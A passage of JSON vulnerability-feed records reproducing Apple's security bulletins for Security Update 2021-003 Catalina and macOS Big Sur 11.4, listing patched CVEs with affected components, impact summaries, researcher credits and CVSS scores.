9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-06T22:02:53", "description": "# About the security content of Security Update 2021-003 Catalina\n\nThis document describes the security content of Security Update 2021-003 Catalina.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## Security Update 2021-003 Catalina\n\nReleased May 24, 2021\n\n**AMD**\n\nAvailable for: macOS Catalina\n\nImpact: A local user may be able to cause unexpected system termination or read kernel memory\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30676: shrek_wzw\n\n**AMD**\n\nAvailable for: macOS Catalina\n\nImpact: A remote attacker may be able to cause unexpected application termination or arbitrary code execution\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30678: Yu Wang of Didi Research America\n\n**App Store**\n\nAvailable for: macOS Catalina\n\nImpact: A path handling issue was addressed with improved validation\n\nDescription: A malicious application may be able to break out of its sandbox.\n\nCVE-2021-30688: Thijs Alkemade of Computest Research Division\n\nEntry added July 21, 2021\n\n**AppleScript**\n\nAvailable for: macOS Catalina\n\nImpact: A malicious application may bypass Gatekeeper checks\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30669: Yair Hoffman\n\n**Audio**\n\nAvailable for: macOS Catalina\n\nImpact: Parsing a maliciously crafted audio file may lead to disclosure of user information\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30685: Mickey Jin (@patch1t) of Trend Micro\n\n**CoreAudio**\n\nAvailable for: macOS Catalina\n\nImpact: An out-of-bounds read was addressed with improved bounds checking\n\nDescription: Processing a maliciously crafted audio file may disclose restricted memory.\n\nCVE-2021-30686: Mickey Jin of Trend Micro working with Trend Micro Zero Day Initiative\n\nEntry added July 21, 2021\n\n**Core Services**\n\nAvailable for: macOS Catalina\n\nImpact: A malicious application may be able to gain root privileges\n\nDescription: A validation issue existed in the handling of symlinks. This issue was addressed with improved validation of symlinks.\n\nCVE-2021-30681: Zhongcheng Li (CK01)\n\n**CVMS**\n\nAvailable for: macOS Catalina\n\nImpact: A local attacker may be able to elevate their privileges\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30724: Mickey Jin (@patch1t) of Trend Micro\n\n**Dock**\n\nAvailable for: macOS Catalina\n\nImpact: A malicious application may be able to access a user's call history\n\nDescription: An access issue was addressed with improved access restrictions.\n\nCVE-2021-30673: Josh Parnham (@joshparnham)\n\n**FontParser**\n\nAvailable for: macOS Catalina\n\nImpact: Processing a maliciously crafted font file may lead to arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2020-29629: an anonymous researcher\n\nEntry added May 25, 2022\n\n**FontParser**\n\nAvailable for: macOS Catalina\n\nImpact: A malicious application may be able to read restricted memory\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2020-29629: an anonymous researcher\n\nEntry added May 25, 2022\n\n**Graphics Drivers**\n\nAvailable for: macOS Catalina\n\nImpact: A remote attacker may cause an unexpected application termination or arbitrary code execution\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30684: Liu Long of Ant Security Light-Year Lab\n\n**Graphics Drivers**\n\nAvailable for: macOS Catalina\n\nImpact: An out-of-bounds write issue was addressed with improved bounds checking\n\nDescription: A malicious application may be able to execute arbitrary code with kernel privileges.\n\nCVE-2021-30735: Jack Dates of RET2 Systems, Inc. (@ret2systems) working with Trend Micro Zero Day Initiative\n\nEntry added July 21, 2021\n\n**Heimdal**\n\nAvailable for: macOS Catalina\n\nImpact: A malicious application may cause a denial of service or potentially disclose memory contents\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2021-30710: Gabe Kirkpatrick (@gabe_k)\n\n**Heimdal**\n\nAvailable for: macOS Catalina\n\nImpact: A remote attacker may be able to cause a denial of service\n\nDescription: A race condition was addressed with improved locking.\n\nCVE-2021-1884: Gabe Kirkpatrick (@gabe_k)\n\n**Heimdal**\n\nAvailable for: macOS Catalina\n\nImpact: Processing maliciously crafted server messages may lead to heap corruption\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-1883: Gabe Kirkpatrick (@gabe_k)\n\n**Heimdal**\n\nAvailable for: macOS Catalina\n\nImpact: A local user may be able to leak sensitive user information\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30697: Gabe Kirkpatrick (@gabe_k)\n\n**Heimdal**\n\nAvailable for: macOS Catalina\n\nImpact: A malicious application could execute arbitrary code leading to compromise of user information\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2021-30683: Gabe Kirkpatrick (@gabe_k)\n\n**ImageIO**\n\nAvailable for: macOS Catalina\n\nImpact: Processing a maliciously crafted image may lead to disclosure of user information\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-30687: Hou JingYi (@hjy79425575) of Qihoo 360\n\n**ImageIO**\n\nAvailable for: macOS Catalina\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30701: Mickey Jin (@patch1t) of Trend Micro and Ye Zhang of Baidu Security\n\n**ImageIO**\n\nAvailable for: macOS Catalina\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds write was addressed with improved input validation.\n\nCVE-2021-30743: CFF of Topsec Alpha Team, an anonymous researcher, and Jeonghoon Shin(@singi21a) of THEORI working with Trend Micro Zero Day Initiative\n\n**ImageIO**\n\nAvailable for: macOS Catalina\n\nImpact: Processing a maliciously crafted ASTC file may disclose memory contents\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30705: Ye Zhang of Baidu Security\n\n**Intel Graphics Driver**\n\nAvailable for: macOS Catalina\n\nImpact: A malicious application may be able to execute arbitrary code with kernel privileges\n\nDescription: An out-of-bounds write issue was addressed with improved bounds checking.\n\nCVE-2021-30728: Liu Long of Ant Security Light-Year Lab\n\n**Intel Graphics Driver**\n\nAvailable for: macOS Catalina\n\nImpact: An out-of-bounds read issue was addressed by removing the vulnerable code\n\nDescription: A local user may be able to cause unexpected system termination or read kernel memory.\n\nCVE-2021-30719: an anonymous researcher working with Trend Micro Zero Day Initiative\n\nEntry added July 21, 2021\n\n**Intel Graphics Driver**\n\nAvailable for: macOS Catalina\n\nImpact: An out-of-bounds write issue was addressed with improved bounds checking\n\nDescription: A malicious application may be able to execute arbitrary code with kernel privileges.\n\nCVE-2021-30726: Yinyi Wu(@3ndy1) of Qihoo 360 Vulcan Team\n\nEntry added July 21, 2021\n\n**Kernel**\n\nAvailable for: macOS Catalina\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30704: an anonymous researcher\n\n**Kernel**\n\nAvailable for: macOS Catalina\n\nImpact: Processing a maliciously crafted message may lead to a denial of service\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30715: The UK's National Cyber Security Centre (NCSC)\n\n**Kernel**\n\nAvailable for: macOS Catalina\n\nImpact: A memory corruption issue was addressed with improved validation\n\nDescription: A local attacker may be able to elevate their privileges.\n\nCVE-2021-30739: Zuozhi Fan (@pattern_F_) of Ant Group Tianqiong Security Lab\n\nEntry added July 21, 2021\n\n**Login Window**\n\nAvailable for: macOS Catalina\n\nImpact: A person with physical access to a Mac may be able to bypass Login Window\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30702: Jewel Lambert of Original Spin, LLC.\n\n**Mail**\n\nAvailable for: macOS Catalina\n\nImpact: A logic issue was addressed with improved state management\n\nDescription: An attacker in a privileged network position may be able to misrepresent application state.\n\nCVE-2021-30696: Fabian Ising and Damian Poddebniak of M\u00fcnster University of Applied Sciences\n\nEntry added July 21, 2021\n\n**Model I/O**\n\nAvailable for: macOS Catalina\n\nImpact: Processing a maliciously crafted USD file may disclose memory contents\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2021-30819\n\nEntry added May 25, 2022\n\n**Model I/O**\n\nAvailable for: macOS Catalina\n\nImpact: Processing a maliciously crafted USD file may disclose memory contents\n\nDescription: An information disclosure issue was addressed with improved state management.\n\nCVE-2021-30723: Mickey Jin (@patch1t) of Trend Micro\n\nCVE-2021-30691: Mickey Jin (@patch1t) of Trend Micro\n\nCVE-2021-30694: Mickey Jin (@patch1t) of Trend Micro\n\nCVE-2021-30692: Mickey Jin (@patch1t) of Trend Micro\n\n**Model I/O**\n\nAvailable for: macOS Catalina\n\nImpact: Processing a maliciously crafted USD file may disclose memory contents\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2021-30746: Mickey Jin (@patch1t) of Trend Micro\n\n**Model I/O**\n\nAvailable for: macOS Catalina\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: A validation issue was addressed with improved logic.\n\nCVE-2021-30693: Mickey Jin (@patch1t) & Junzhi Lu (@pwn0rz) of Trend Micro\n\n**Model I/O**\n\nAvailable for: macOS Catalina\n\nImpact: Processing a maliciously crafted USD file may disclose memory contents\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-30695: Mickey Jin (@patch1t) & Junzhi Lu (@pwn0rz) of Trend Micro\n\n**Model I/O**\n\nAvailable for: macOS Catalina\n\nImpact: Processing a maliciously crafted USD file may lead to unexpected application termination or arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2021-30708: Mickey Jin (@patch1t) & Junzhi Lu (@pwn0rz) of Trend Micro\n\n**Model I/O**\n\nAvailable for: macOS Catalina\n\nImpact: Processing a maliciously crafted USD file may disclose memory contents\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30709: Mickey Jin (@patch1t) of Trend Micro\n\n**Model I/O**\n\nAvailable for: macOS Catalina\n\nImpact: Processing a maliciously crafted USD file may lead to unexpected application termination or arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2021-30725: Mickey Jin (@patch1t) of Trend Micro\n\n**NSOpenPanel**\n\nAvailable for: macOS Catalina\n\nImpact: An application may be able to gain elevated privileges\n\nDescription: This issue was addressed by removing the vulnerable code.\n\nCVE-2021-30679: Gabe Kirkpatrick (@gabe_k)\n\n**OpenLDAP**\n\nAvailable for: macOS Catalina\n\nImpact: A remote attacker may be able to cause a denial of service\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2020-36226\n\nCVE-2020-36229\n\nCVE-2020-36225\n\nCVE-2020-36224\n\nCVE-2020-36223\n\nCVE-2020-36227\n\nCVE-2020-36228\n\nCVE-2020-36221\n\nCVE-2020-36222\n\nCVE-2020-36230\n\n**Security**\n\nAvailable for: macOS Catalina\n\nImpact: A memory corruption issue in the ASN.1 decoder was addressed by removing the vulnerable code\n\nDescription: Processing a maliciously crafted certificate may lead to arbitrary code execution.\n\nCVE-2021-30737: xerub\n\nEntry added July 21, 2021\n\n**smbx**\n\nAvailable for: macOS Catalina\n\nImpact: An attacker in a privileged network position may be able to perform denial of service\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30716: Aleksandar Nikolic of Cisco Talos\n\n**smbx**\n\nAvailable for: macOS Catalina\n\nImpact: An attacker in a privileged network position may be able to execute arbitrary code\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2021-30717: Aleksandar Nikolic of Cisco Talos\n\n**smbx**\n\nAvailable for: macOS Catalina\n\nImpact: A remote attacker may be able to cause unexpected application termination or arbitrary code execution\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30712: Aleksandar Nikolic of Cisco Talos\n\n**smbx**\n\nAvailable for: macOS Catalina\n\nImpact: An attacker in a privileged network position may be able to leak sensitive user information\n\nDescription: A path handling issue was addressed with improved validation.\n\nCVE-2021-30721: Aleksandar Nikolic of Cisco Talos\n\n**smbx**\n\nAvailable for: macOS Catalina\n\nImpact: An attacker in a privileged network position may be able to leak sensitive user information\n\nDescription: An information disclosure issue was addressed with improved state management.\n\nCVE-2021-30722: Aleksandar Nikolic of Cisco Talos\n\n**TCC**\n\nAvailable for: macOS Catalina\n\nImpact: A malicious application may be able to send unauthorized Apple events to Finder\n\nDescription: A validation issue was addressed with improved logic.\n\nCVE-2021-30671: Ryan Bell (@iRyanBell)\n\n\n\n## Additional recognition\n\n**App Store**\n\nWe would like to acknowledge Thijs Alkemade of Computest Research Division for their assistance.\n\n**CFString**\n\nWe would like to acknowledge an anonymous researcher for their assistance.\n\n**CoreCapture**\n\nWe would like to acknowledge Zuozhi Fan (@pattern_F_) of Ant-financial TianQiong Security Lab for their assistance.\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: May 25, 2022\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-05-24T00:00:00", "type": "apple", "title": "About the security content of Security Update 2021-003 Catalina", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-29629", "CVE-2020-36221", "CVE-2020-36222", "CVE-2020-36223", "CVE-2020-36224", "CVE-2020-36225", "CVE-2020-36226", "CVE-2020-36227", "CVE-2020-36228", "CVE-2020-36229", "CVE-2020-36230", "CVE-2021-1883", "CVE-2021-1884", "CVE-2021-30669", "CVE-2021-30671", "CVE-2021-30673", "CVE-2021-30676", "CVE-2021-30678", "CVE-2021-30679", "CVE-2021-30681", "CVE-2021-30683", "CVE-2021-30684", "CVE-2021-30685", "CVE-2021-30686", "CVE-2021-30687", "CVE-2021-30688", "CVE-2021-30691", "CVE-2021-30692", "CVE-2021-30693", "CVE-2021-30694", "CVE-2021-30695", "CVE-2021-30696", "CVE-2021-30697", "CVE-2021-30701", "CVE-2021-30702", "CVE-2021-30704", "CVE-2021-30705", "CVE-2021-30708", "CVE-2021-30709", "CVE-2021-30710", "CVE-2021-30712", "CVE-2021-30715", "CVE-2021-30716", "CVE-2021-30717", "CVE-2021-30719", "CVE-2021-30721", "CVE-2021-30722", "CVE-2021-30723", "CVE-2021-30724", "CVE-2021-30725", "CVE-2021-30726", "CVE-2021-30728", "CVE-2021-30735", "CVE-2021-30737", "CVE-2021-30739", "CVE-2021-30743", "CVE-2021-30746", "CVE-2021-30819"], "modified": "2021-05-24T00:00:00", "id": "APPLE:0B6DF5CC92E6D0376210E301EBDB5732", "href": "https://support.apple.com/kb/HT212530", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-06T22:02:53", "description": "# About the security content of macOS Big Sur 11.4\n\nThis document describes the security content of macOS Big Sur 11.4.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## macOS Big Sur 11.4\n\nReleased May 24, 2021\n\n**AMD**\n\nAvailable for: macOS Big Sur\n\nImpact: A remote attacker may be able to cause unexpected application termination or arbitrary code execution\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30678: Yu Wang of Didi Research America\n\n**AMD**\n\nAvailable for: macOS Big Sur\n\nImpact: A local user may be able to cause unexpected system termination or read kernel memory\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30676: shrek_wzw\n\n**App Store**\n\nAvailable for: macOS Big Sur\n\nImpact: A malicious application may be able to break out of its sandbox\n\nDescription: A path handling issue was addressed with improved validation.\n\nCVE-2021-30688: Thijs Alkemade of Computest Research Division\n\n**AppleScript**\n\nAvailable for: macOS Big Sur\n\nImpact: A malicious application may bypass Gatekeeper checks\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30669: Yair Hoffman\n\n**Audio**\n\nAvailable for: macOS Big Sur\n\nImpact: Processing a maliciously crafted audio file may lead to arbitrary code execution\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30707: hjy79425575 working with Trend Micro Zero Day Initiative\n\n**Audio**\n\nAvailable for: macOS Big Sur\n\nImpact: Parsing a maliciously crafted audio file may lead to disclosure of user information\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30685: Mickey Jin (@patch1t) of Trend Micro\n\n**Bluetooth**\n\nAvailable for: macOS Big Sur\n\nImpact: A memory corruption issue was addressed with improved state management\n\nDescription: A malicious application may be able to gain root privileges\n\nCVE-2021-30672: say2 of ENKI\n\nEntry added July 21, 2021\n\n**Core Services**\n\nAvailable for: macOS Big Sur\n\nImpact: A malicious application may be able to gain root privileges\n\nDescription: A validation issue existed in the handling of symlinks. This issue was addressed with improved validation of symlinks.\n\nCVE-2021-30681: Zhongcheng Li (CK01)\n\n**CoreAudio**\n\nAvailable for: macOS Big Sur\n\nImpact: Processing a maliciously crafted audio file may disclose restricted memory\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-30686: Mickey Jin of Trend Micro\n\n**CoreText**\n\nAvailable for: macOS Big Sur\n\nImpact: An out-of-bounds read was addressed with improved input validation\n\nDescription: Processing a maliciously crafted font may result in the disclosure of process memory.\n\nCVE-2021-30733: Sunglin from the Knownsec 404\n\nCVE-2021-30753: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added July 21, 2021\n\n**Crash Reporter**\n\nAvailable for: macOS Big Sur\n\nImpact: A malicious application may be able to modify protected parts of the file system\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30727: Cees Elzinga\n\n**CVMS**\n\nAvailable for: macOS Big Sur\n\nImpact: A local attacker may be able to elevate their privileges\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30724: Mickey Jin (@patch1t) of Trend Micro\n\n**Dock**\n\nAvailable for: macOS Big Sur\n\nImpact: A malicious application may be able to access a user's call history\n\nDescription: An access issue was addressed with improved access restrictions.\n\nCVE-2021-30673: Josh Parnham (@joshparnham)\n\n**FontParser**\n\nAvailable for: macOS Big Sur\n\nImpact: Processing a maliciously crafted font file may lead to arbitrary code execution\n\nDescription: An out-of-bounds write was addressed with improved input validation.\n\nCVE-2021-30771: Mickey Jin (@patch1t) of Trend Micro, CFF of Topsec Alpha Team\n\nEntry added January 19, 2022\n\n**FontParser**\n\nAvailable for: macOS Big Sur\n\nImpact: An out-of-bounds read was addressed with improved input validation\n\nDescription: Processing a maliciously crafted font may result in the disclosure of process memory\n\nCVE-2021-30755: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added July 21, 2021\n\n**Graphics Drivers**\n\nAvailable for: macOS Big Sur\n\nImpact: A remote attacker may cause an unexpected application termination or arbitrary code execution\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30684: Liu Long of Ant Security Light-Year Lab\n\n**Graphics Drivers**\n\nAvailable for: macOS Big Sur\n\nImpact: A malicious application may be able to execute arbitrary code with kernel privileges\n\nDescription: An out-of-bounds write issue was addressed with improved bounds checking.\n\nCVE-2021-30735: Jack Dates of RET2 Systems, Inc. (@ret2systems) working with Trend Micro Zero Day Initiative\n\n**Heimdal**\n\nAvailable for: macOS Big Sur\n\nImpact: A local user may be able to leak sensitive user information\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30697: Gabe Kirkpatrick (@gabe_k)\n\n**Heimdal**\n\nAvailable for: macOS Big Sur\n\nImpact: A malicious application may cause a denial of service or potentially disclose memory contents\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2021-30710: Gabe Kirkpatrick (@gabe_k)\n\n**Heimdal**\n\nAvailable for: macOS Big Sur\n\nImpact: A malicious application could execute arbitrary code leading to compromise of user information\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2021-30683: Gabe Kirkpatrick (@gabe_k)\n\n**ImageIO**\n\nAvailable for: macOS Big Sur\n\nImpact: Processing a maliciously crafted image may lead to disclosure of user information\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-30687: Hou JingYi (@hjy79425575) of Qihoo 360\n\n**ImageIO**\n\nAvailable for: macOS Big Sur\n\nImpact: Processing a maliciously crafted image may lead to disclosure of user information\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30700: Ye Zhang(@co0py_Cat) of Baidu Security\n\n**ImageIO**\n\nAvailable for: macOS Big Sur\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30701: Mickey Jin (@patch1t) of Trend Micro and Ye Zhang of Baidu Security\n\n**ImageIO**\n\nAvailable for: macOS Big Sur\n\nImpact: Processing a maliciously crafted ASTC file may disclose memory contents\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30705: Ye Zhang of Baidu Security\n\n**ImageIO**\n\nAvailable for: macOS Big Sur\n\nImpact: This issue was addressed with improved checks\n\nDescription: Processing a maliciously crafted image may lead to disclosure of user information.\n\nCVE-2021-30706: Anonymous working with Trend Micro Zero Day Initiative, Jzhu working with Trend Micro Zero Day Initiative\n\nEntry added July 21, 2021\n\n**Intel Graphics Driver**\n\nAvailable for: macOS Big Sur\n\nImpact: A local user may be able to cause unexpected system termination or read kernel memory\n\nDescription: An out-of-bounds read issue was addressed by removing the vulnerable code.\n\nCVE-2021-30719: an anonymous researcher working with Trend Micro Zero Day Initiative\n\n**Intel Graphics Driver**\n\nAvailable for: macOS Big Sur\n\nImpact: A malicious application may be able to execute arbitrary code with kernel privileges\n\nDescription: An out-of-bounds write issue was addressed with improved bounds checking.\n\nCVE-2021-30728: Liu Long of Ant Security Light-Year Lab\n\nCVE-2021-30726: Yinyi Wu(@3ndy1) of Qihoo 360 Vulcan Team\n\n**IOUSBHostFamily**\n\nAvailable for: macOS Big Sur\n\nImpact: This issue was addressed with improved checks\n\nDescription: An unprivileged application may be able to capture USB devices.\n\nCVE-2021-30731: UTM (@UTMapp)\n\nEntry added July 21, 2021\n\n**Kernel**\n\nAvailable for: macOS Big Sur\n\nImpact: A malicious application may be able to execute arbitrary code with kernel privileges\n\nDescription: A logic issue was addressed with improved validation.\n\nCVE-2021-30740: Linus Henze (pinauten.de)\n\n**Kernel**\n\nAvailable for: macOS Big Sur\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30704: an anonymous researcher\n\n**Kernel**\n\nAvailable for: macOS Big Sur\n\nImpact: Processing a maliciously crafted message may lead to a denial of service\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30715: The UK's National Cyber Security Centre (NCSC)\n\n**Kernel**\n\nAvailable for: macOS Big Sur\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A buffer overflow was addressed with improved size validation.\n\nCVE-2021-30736: Ian Beer of Google Project Zero\n\n**Kernel**\n\nAvailable for: macOS Big Sur\n\nImpact: A local attacker may be able to elevate their privileges\n\nDescription: A memory corruption issue was addressed with improved validation.\n\nCVE-2021-30739: Zuozhi Fan (@pattern_F_) of Ant Group Tianqiong Security Lab\n\n**Kernel**\n\nAvailable for: macOS Big Sur\n\nImpact: A double free issue was addressed with improved memory management\n\nDescription: An application may be able to execute arbitrary code with kernel privileges.\n\nCVE-2021-30703: an anonymous researcher\n\nEntry added July 21, 2021\n\n**Kext Management**\n\nAvailable for: macOS Big Sur\n\nImpact: A local user may be able to load unsigned kernel extensions\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30680: Csaba Fitzl (@theevilbit) of Offensive Security\n\n**LaunchServices**\n\nAvailable for: macOS Big Sur\n\nImpact: A malicious application may be able to break out of its sandbox\n\nDescription: This issue was addressed with improved environment sanitization.\n\nCVE-2021-30677: Ron Waisberg (@epsilan)\n\n**Login Window**\n\nAvailable for: macOS Big Sur\n\nImpact: A person with physical access to a Mac may be able to bypass Login Window\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30702: Jewel Lambert of Original Spin, LLC.\n\n**Mail**\n\nAvailable for: macOS Big Sur\n\nImpact: An attacker in a privileged network position may be able to misrepresent application state\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30696: Fabian Ising and Damian Poddebniak of M\u00fcnster University of Applied Sciences\n\n**MediaRemote**\n\nAvailable for: macOS Big Sur\n\nImpact: A privacy issue in Now Playing was addressed with improved permissions\n\nDescription: A local attacker may be able to view Now Playing information from the lock screen.\n\nCVE-2021-30756: Ricky D'Amelio, Jatayu Holznagel (@jholznagel)\n\nEntry added July 21, 2021\n\n**Model I/O**\n\nAvailable for: macOS Big Sur\n\nImpact: Processing a maliciously crafted USD file may disclose memory contents\n\nDescription: An information disclosure issue was addressed with improved state management.\n\nCVE-2021-30723: Mickey Jin (@patch1t) of Trend Micro\n\nCVE-2021-30691: Mickey Jin (@patch1t) of Trend Micro\n\nCVE-2021-30692: Mickey Jin (@patch1t) of Trend Micro\n\nCVE-2021-30694: Mickey Jin (@patch1t) of Trend Micro\n\n**Model I/O**\n\nAvailable for: macOS Big Sur\n\nImpact: Processing a maliciously crafted USD file may lead to unexpected application termination or arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2021-30725: Mickey Jin (@patch1t) of Trend Micro\n\n**Model I/O**\n\nAvailable for: macOS Big Sur\n\nImpact: Processing a maliciously crafted USD file may disclose memory contents\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2021-30746: Mickey Jin (@patch1t) of Trend Micro\n\n**Model I/O**\n\nAvailable for: macOS Big Sur\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: A validation issue was addressed with improved logic.\n\nCVE-2021-30693: Mickey Jin (@patch1t) & Junzhi Lu (@pwn0rz) of Trend Micro\n\n**Model I/O**\n\nAvailable for: macOS Big Sur\n\nImpact: Processing a maliciously crafted USD file may disclose memory contents\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-30695: Mickey Jin (@patch1t) & Junzhi Lu (@pwn0rz) of Trend Micro\n\n**Model I/O**\n\nAvailable for: macOS Big Sur\n\nImpact: Processing a maliciously crafted USD file may lead to unexpected application termination or arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2021-30708: Mickey Jin (@patch1t) & Junzhi Lu (@pwn0rz) of Trend Micro\n\n**Model I/O**\n\nAvailable for: macOS Big Sur\n\nImpact: Processing a maliciously crafted USD file may disclose memory contents\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30709: Mickey Jin (@patch1t) of Trend Micro\n\n**NSOpenPanel**\n\nAvailable for: macOS Big Sur\n\nImpact: An application may be able to gain elevated privileges\n\nDescription: This issue was addressed by removing the vulnerable code.\n\nCVE-2021-30679: Gabe Kirkpatrick (@gabe_k)\n\n**OpenLDAP**\n\nAvailable for: macOS Big Sur\n\nImpact: A remote attacker may be able to cause a denial of service\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2020-36226\n\nCVE-2020-36227\n\nCVE-2020-36223\n\nCVE-2020-36224\n\nCVE-2020-36225\n\nCVE-2020-36221\n\nCVE-2020-36228\n\nCVE-2020-36222\n\nCVE-2020-36230\n\nCVE-2020-36229\n\n**PackageKit**\n\nAvailable for: macOS Big Sur\n\nImpact: A malicious application may be able to overwrite arbitrary files\n\nDescription: An issue with path validation logic for hardlinks was addressed with improved path sanitization.\n\nCVE-2021-30738: Qingyang Chen of Topsec Alpha Team and Csaba Fitzl (@theevilbit) of Offensive Security\n\n**Sandbox**\n\nAvailable for: macOS Big Sur\n\nImpact: A malicious application may be able to bypass certain Privacy preferences\n\nDescription: This issue was addressed with improved data protection.\n\nCVE-2021-30751: Csaba Fitzl (@theevilbit) of Offensive Security\n\nEntry added July 21, 2021\n\n**Security**\n\nAvailable for: macOS Big Sur\n\nImpact: Processing a maliciously crafted certificate may lead to arbitrary code execution\n\nDescription: A memory corruption issue in the ASN.1 decoder was addressed by removing the vulnerable code.\n\nCVE-2021-30737: xerub\n\n**smbx**\n\nAvailable for: macOS Big Sur\n\nImpact: An attacker in a privileged network position may be able to perform denial of service\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30716: Aleksandar Nikolic of Cisco Talos\n\n**smbx**\n\nAvailable for: macOS Big Sur\n\nImpact: An attacker in a privileged network position may be able to execute arbitrary code\n\nDescription: A memory 